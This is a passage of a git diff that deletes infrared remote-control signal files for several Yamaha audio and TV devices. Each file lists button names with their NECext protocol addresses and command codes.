KEY_2 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 19 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1A 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1B 00 00 00 -# -name: OUTPUT_LEVEL_DOWN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1C 00 00 00 -# -name: OUTPUT_LEVEL_UP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1D 00 00 00 -# -name: DISC_SKIP_FORWARD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 4F 00 00 00 -# -name: DISC_SKIP_REVERSE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 50 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 55 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir deleted file mode 100644 index 619385ff7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 01 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 02 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 04 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 07 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 19 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1A 00 00 00 -# -name: VOL_DEC -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1C 00 00 00 -# -name: VOL_INC -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1D 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir deleted file mode 100644 index 5537652bf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_1/2_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: TAPE_1/2_REWIND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 01 00 00 00 -# -name: TAPE_1/2_FAST_FWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 02 00 00 00 -# -name: TAPE_1/2_STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: TAPE_1/2_REC/PAUSE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 04 00 00 00 -# -name: TAPE_1/2_RECORD_MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 05 00 00 00 -# -name: DECK_A/B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: TAPE_1/2_DIR_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 07 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 08 00 00 00 -# -name: CD_PAUSE/STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: CD_SKIP_FWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: CD_SKIP_REV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: CD_SEARCH_FWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0C 00 00 00 -# -name: CD_SEARCH_REV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0D 00 00 00 -# -name: PHONO_PLAY/CUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0E 00 00 00 -# -name: TUNER_PRESET_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUNER_PRESET_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: TUNER_A/B/C/D/E/ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: TAPE_1/DAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: TAPE_1/2_DIR_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 40 00 00 00 -# -name: CD_DISK_SKIP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4F 00 00 00 -# -name: EQ_ON/FLAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5A 00 00 00 -# -name: EQ_PRESET_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5B 00 00 00 -# -name: EQ_PRESET_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir deleted file mode 100644 index 1fd161f58..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir +++ /dev/null @@ -1,314 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: tapePlay -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: tapeSearchBck -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 01 00 00 00 -# -name: tapeSearchFwd -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 02 00 00 00 -# -name: tapeStop -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: tapeRecPause -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 04 00 00 00 -# -name: tapeRecMute -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 05 00 00 00 -# -name: tapeDeckAB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: tapeDirA -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 07 00 00 00 -# -name: cdPlay -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 08 00 00 00 -# -name: cdPauseStop -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: cdSkipFwd -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: cdSkipBck -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: cdSearchFwd -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0C 00 00 00 -# -name: cdSearchBck -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0D 00 00 00 -# -name: phonoPlayCut -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0E 00 00 00 -# -name: vcr1mon -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: tunerPresetPlus -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: tunerPresetMinus -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: tunerABCDE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: vcr2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: phono -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: ldtv -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: tape1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: masterUp -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: masterDn -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: muting -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: tapeDirB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 40 00 00 00 -# -name: cdDiskSkip -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4F 00 00 00 -# -name: delayUp -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: delayDn -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: effect -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 -# -name: eqOnFlat -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5A 00 00 00 -# -name: presetUp -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5B 00 00 00 -# -name: presetDown -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5C 00 00 00 -# -name: RLup -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5E 00 00 00 -# -name: RLdn -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5F 00 00 00 -# -name: FELup -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 80 00 00 00 -# -name: FELdn -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 81 00 00 00 -# -name: CLup -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 82 00 00 00 -# -name: CLdn -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 83 00 00 00 -# -name: centerMode -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 84 00 00 00 -# -name: test -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: prologic -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: enhanced -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: cnctVideo -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: monoMovie -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: rock -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: hall -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir deleted file mode 100644 index 33605c2bc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 01 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 02 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 04 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 05 00 00 00 -# -name: DECK_A/B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: DIR_A____\*\*_TAPE_\*\* -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 07 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 08 00 00 00 -# -name: STOP/PAUSE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: SKIP_FWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: SKIP_REV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: SEARCH_FWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0C 00 00 00 -# -name: SEARCH_REV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0E 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: PRESET_-__\*_TUNER_\* -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: A/B/C/D/E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: DIR_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 40 00 00 00 -# -name: DISC_SKIP__\*\*_CD_\*\* -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5A 00 00 00 -# -name: PRESET_SKIP_\*\*_EQ_\*\* -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir deleted file mode 100644 index cdfed720c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 01 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 02 00 00 00 -# -name: SKIP_REV -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 04 00 00 00 -# -name: SCH_REV -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 05 00 00 00 -# -name: SCH_FWD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 06 00 00 00 -# -name: SKIP_FWD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 07 00 00 00 -# -name: S/F -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 08 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0B 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0C 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0D 00 00 00 -# -name: KEY_SPACE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 19 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1A 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1B 00 00 00 -# -name: LEVEL_- -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1C 00 00 00 -# -name: LEVEL_+ -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 55 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 56 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 57 00 00 00 -# -name: SYNCHRO -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 58 00 00 00 -# -name: PEAK -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir deleted file mode 100644 index ef772aafd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 80 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 82 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 83 00 00 00 -# -name: LD -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 8C 00 00 00 -# -name: CD/CDG -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 8D 00 00 00 -# -name: KEY_VCR -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 8E 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 8F 00 00 00 -# -name: AUX2 -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 90 00 00 00 -# -name: AUX1 -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 91 00 00 00 -# -name: B_SYMBOL -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 96 00 00 00 -# -name: SQUARE_SYMBOL -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 97 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 98 00 00 00 -# -name: BALLAD -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 99 00 00 00 -# -name: POPS -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 9A 00 00 00 -# -name: JAZZ -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 9B 00 00 00 -# -name: ROCK -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 9C 00 00 00 -# -name: MPX/STEREO -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: D8 00 00 00 -# -name: VOCAL_AID -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: D9 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: DA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir deleted file mode 100644 index 9f7d854da..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 01 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 02 00 00 00 -# -name: SKIP_BACKWARD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 04 00 00 00 -# -name: SEARCH_BACKWARD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 05 00 00 00 -# -name: SEARCH_FORWARD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 06 00 00 00 -# -name: SKIP_FORWARD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 07 00 00 00 -# -name: S_F -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 08 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0A 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0B 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0C 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0D 00 00 00 -# -name: KEY_SPACE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0F 00 00 00 -# -name: NUMBER_0 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 10 00 00 00 -# -name: NUMBER_1 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 11 00 00 00 -# -name: NUMBER_2 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 12 00 00 00 -# -name: NUMBER_3 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 13 00 00 00 -# -name: NUMBER_4 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 14 00 00 00 -# -name: NUMBER_5 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 15 00 00 00 -# -name: NUMBER_6 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 16 00 00 00 -# -name: NUMBER_7 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 17 00 00 00 -# -name: NUMBER_8 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 18 00 00 00 -# -name: NUMBER_9 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 19 00 00 00 -# -name: PLUS_10 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1A 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1B 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 55 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 56 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 57 00 00 00 -# -name: SYNCHRO -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 58 00 00 00 -# -name: PEAK -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir deleted file mode 100644 index e5c044414..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: goback -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir deleted file mode 100644 index b59f890b1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: TAPE_REW -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 01 00 00 00 -# -name: TAPE_FWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 02 00 00 00 -# -name: TAPE_STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: TAPE_REC_PAUSE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 